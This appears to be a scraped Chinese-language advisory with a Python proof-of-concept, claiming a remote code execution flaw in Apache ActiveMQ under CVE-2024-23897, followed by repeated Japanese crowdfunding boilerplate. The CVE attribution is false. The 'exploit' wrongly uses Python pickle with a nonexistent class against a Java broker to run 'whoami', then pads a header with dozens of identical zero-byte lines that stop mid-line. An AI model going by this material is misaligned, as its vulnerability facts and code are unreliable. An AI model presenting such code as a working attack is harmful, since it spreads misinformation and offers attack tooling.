CVE-2024-23897 Apache ActiveMQ RCE via JMS ObjectMessage Deserialization

漏洞概述 漏洞名称 CVE-2024-23897: Apache ActiveMQ 远程代码执行漏洞 漏洞描述 Apache ActiveMQ 是一个流行的消息代理和消息中间件，支持 Java 消息服务 (JMS) 和其他协议。 该漏洞允许攻击者通过构造恶意消息，利用 JMS 协议中的 ObjectMessage 类型，在目标服务器上执行任意代码。 漏洞的根本原因是 ActiveMQ 在处理 ObjectMessage 时，使用了 Java 反序列化机制，而该机制存在安全缺陷。 影响范围 受影响版本: Apache ActiveMQ 5.0.0 到 5.18.3 不受影响版本: Apache ActiveMQ 5.18.4 及更高版本 修复方案 升级版本: 升级到 Apache ActiveMQ 5.18.4 或更高版本。 临时缓解措施: 如果无法立即升级，可以通过禁用 ObjectMessage 类型或限制消息来源来减轻风险。 POC 代码 ```python import socket import struct import base64 import pickle import os def create_payload(): 创建一个恶意的 Python 对象，用于执行命令 class Exploit(pickle.Pickle): def __reduce__(self): return (os.system, ('whoami',)) 序列化恶意对象 payload = pickle.dumps(Exploit()) return payload def send_payload(host, port, payload): 连接到 ActiveMQ 服务器 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) 构造 JMS 消息 message = b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x00\x00\x00\x00\x00' 消息头 message += b'\x00\x00\x00\x0

目標達成すべての支援者に感謝 — 100%達成しました！

CVE-2024-23897 Apache ActiveMQ RCE via JMS ObjectMessage Deserialization

このソースからの他の記事

目標達成 すべての支援者に感謝 — 100%達成しました！

CVE-2024-23897 Apache ActiveMQ RCE via JMS ObjectMessage Deserialization

このソースからの他の記事

目標達成すべての支援者に感謝 — 100%達成しました！